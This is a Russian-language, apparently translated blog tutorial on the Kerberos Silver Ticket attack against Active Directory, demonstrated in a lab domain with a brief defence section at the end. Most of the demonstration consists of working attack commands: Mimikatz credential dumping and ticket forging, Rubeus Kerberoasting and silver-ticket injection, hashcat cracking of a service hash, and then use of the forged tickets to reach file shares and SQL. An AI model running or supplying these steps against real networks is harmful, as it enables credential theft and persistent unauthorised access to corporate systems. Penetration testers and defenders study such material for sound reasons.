Проводим атаку Silver Ticket в сеансе Kerberos

Проводим атаку Silver Ticket в сеансе Kerberos

Разработчик приложения Mimikatz Бенджамин Дельпи представил атаку Silver Ticket Attack на конференции BlackHat 2014 в ходе злонамеренного использования сеанса Kerberos.

image

Серебряный билет (Silver Ticket) — это поддельный билет сервера выдачи билетов (Ticket-Granting Service, TGS) для определенных служб, которые можно использовать для поддержания постоянства в скомпрометированной системе, подключенной к корпоративному домену Active Directory. В ходе атаки злоумышленник может создать действительную TGS службу и использовать связанный хэш NTLM для дальнейшего создания билетов других служб.

Как работает атака с серебряным билетом?

При атаке с золотым билетом используется хэш учетной записи KRBTGT, а в атаке с серебряным билетом используется хэш пароля служебной учетной записи. Он может быть извлечен различными методами, одним из которых является Kerberoasting.

Поскольку для атаки с серебряным билетом не требуется посредник TGT (Ticket-Granting Ticket), серебряные билеты могут быть подделаны без какой-либо связи с контроллером домена и, следовательно, являются более незаметными, чем атака с золотым билетом.

Атака Silver Ticket работает следующим образом:

  • ШАГ 1: Скомпрометируйте хэш пароля (хэш NTLM) служебной учетной записи. Для этого пользователь может использовать Mimikatz, Kerberoasting и т. д.;
  • ШАГ 2: Для нового билета укажите следующие параметры:
    • Service hash (Хэш сервиса);
    • Service name (Название сервиса);
    • Target FQDN (Полное имя домена);
    • Domain SID (SID домена).
  • ШАГ 3: Вставьте вновь созданный серебряный билет в сеанс терминала, чтобы поддерживать постоянство.

Давайте рассмотрим работу атаки в действии.

Silver Ticket через Mimikatz

В демонстрации мы использовали NTLM-хэш учетной записи компьютера «dc1$». Нам пришлось использовать хэш сервисной учетной записи. Следует отметить, что на компьютере также размещено несколько служб, одной из которых является Служба общей файловой системы Интернета (CIFS). Таким образом, хэш пароля службы CIFS совпадает с учетной записью машины.

Цель: создать серебряный билет, чтобы установить постоянство в CIFS (совместное использование) на компьютере «dc1.ignite.local».

Поскольку вся атака связана с поддержанием постоянства, мы должны предположить следующее:

  • Злоумышленник скомпрометировал машину жертвы с низким уровнем приватности (здесь имя пользователя: harditrajpal);
  • Злоумышленник каким-то образом получил пароль/NTLM целевой машины (dc1.ignite.local);
  • Злоумышленник создал серебряный билет на машине с низким уровнем доступа, чтобы получить доступ к системе и установить постоянство службы CIFS.

Давайте сначала покажем вам нашего текущего пользователя, билеты и что происходит, когда мы получаем доступ к компьютеру


Далее нам нужны хэши учетной записи компьютера «dc1.ignite.local». Мы воспользуемся Mimikatz, чтобы ускорить процесс получения хэшей. Давайте сначала активируем Mimikatz и сбросим хэши с помощью команды «sekurlsa::logonpasswords». Обратите внимание, что вы можете использовать любой метод для сброса хэшей.

privilege::debug

sekurlsa::logonpasswords


Это приведет к дампу всех хэшей в памяти машины, включая хэш учетной записи. Также в коде мы обнаружили NTLM учетной записи нашей машины «dc1$».


Далее, чтобы подделать серебряный билет, нам нужно найти SID домена с помощью команды. Обратите внимание, что 4 цифры в конце (1115) – это относительный SID. Он нам не нужен. Все, что до последнего дефиса – это SID домена.

whoami /user


Теперь для подделки серебряного билета можно использовать «золотой» модуль Mimikatz. Мы просто вставляем наши переменные. Здесь мы используем флаг «/ptt», чтобы вставить билет непосредственно в текущую оболочку.

«/id» — это любой случайный идентификатор, который будет отображаться в журналах событий при проверке.

«/sid» — SID домена.

«/domain» — полное доменное имя целевого домена.

«/service» — сервис, для которого генерируется билет.

«/rc4» — NTLM-хэш учетной записи компьютера-жертвы.

«/user» — имя пользователя.

kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /ptt /id:1339

exit

klist


Билет сохранен в памяти текущего сеанса. Теперь вы сможете получить доступ к CIFS целевой машины.

dir \\dc1.ignite.local\c$


Если вы не хотите сразу вставлять билет в память, а предпочитаете, чтобы вместо этого был сохранен файл «ticket.kirb»i, вы просто удаляете флаг «/ptt» и оставляете все как есть.

kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /id:1339

exit

klist

dir


Теперь этот билет «kirbi» можно использовать с модулем Rubeus ptt, вставлять в память и использовать в любое время.

rubeus.exe ptt /ticket:ticket.kirbi

klist

dir \\dc1.ignite.local\c$


Silver Ticket через Rubeus

Всю описанную выше процедуру также можно выполнить с помощью Rubeus. Однако, на этот раз мы настроим другую службу – SQL-сервер и назначим службу для запуска пользователем «sqluser» (это можно сделать, перейдя в run->services.msc->SQL->properties->logon). Это заставит службу SQL работать через нашу созданную учетную запись.

Теперь нам нужно скомпрометировать NTLM-хэш этой учетной записи. Для этого воспользуемся атакой Kerberoasting.

«/domain» - полное имя домена

«/creduser» - любое допустимое скомпрометированное имя пользователя.

«/credpassword» - действительный пароль скомпрометированного пользователя.

«/nowrap» - команда нужна для того, чтобы большой двоичный объект билета отображался в одной строке в Rubeus.

rubeus.exe kerberoast /domain:ignite.local /creduser:ignite.local\aarti /credpassword:Password@1 /nowrap


Rubeus автоматически определил действующую учетную запись Kerberoastable и сбросил свой TGS. Теперь мы извлечем пароль из этого TGS в автономном режиме с помощью Hashcat.

hashcat -m 13100 '$krb5tgs$23$*sqluser$ignite.local$MSSQLSvc/dc1.ignite.local:1433@ignite.local*$..<snipped>...4297093077601CC' /usr/share/wordlists/rockyou.txt --force


Через несколько секунд мы получили открытый текстовый пароль «Password@1».


Теперь давайте конвертируем это в хеш NTLM (rc4_hmac) с помощью Rubeus, так как для нашего серебряного билета требуется действительный NTLM.

rubeus.exe hash /password:Password@1


Нам также нужно знать SID. Это можно сделать с помощью команды «whoami /user»


Итак, чтобы подделать билет для текущего пользователя в Rubeus, мы пишем следующую команду:

rubeus.exe silver /service:MSSQLSvc/dc1.ignite.local /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /sid:S-1-5-21-2377760704-1974907900-3052042330 /user:harshitrajpal /domain:ignite.local /ptt


Параметр «/ptt» полностью импортирует билет в текущем сеансе. Без этой команды будет сохранен файл «ticket.kirbi». Однако, действующий серебряный билет уже создан.


Теперь мы можем попытаться войти на сервер и запустить базовую команду, которая отображает имя хоста.

sqlcmd -S 192.168.1.2,1433

SELECT HOST_NAME() AS HostName

go


Как видите, наш пользователь теперь может подключиться к службе SQL, используя только что созданный билет.

Как защититься от атаки Silver Ticket?

Поскольку атака основана на автономном механизме и в ней не участвует контроллер домена, смягчить атаку сложно. Тем не менее, для обеспечения защиты можно предпринять следующие шаги:

  • Включите защиту Kerberos PAC Validation. Если разрешено, представленный билет должен быть сначала проверен Центром распространения ключей (Key Distribution Center, DC). Таким образом, серебряные билеты будут отклонены сразу.
  • Используйте надежные пароли, чтобы предотвратить брутфорс
  • Контролируйте привилегии или внесите в белый список конкретных пользователей, которые могут использовать определенные службы.
  • Смягчите Kerberoasting.

Заключение

Мы рассказали об атаке Silver Ticket и о том, как с её помощью можно подделать TGS конкретного сервиса. Мы также на практике продемонстрировали, как с помощью 2 инструментов злоумышленник может подделать и использовать серебряный билет. В реальной жизни получить золотой билет довольно сложно, но серебряные билеты можно легко подделать, поскольку осведомленность о защите Kerberos находится на низком уровне.


Ваша приватность умирает красиво, но мы можем спасти её.

Присоединяйтесь к нам!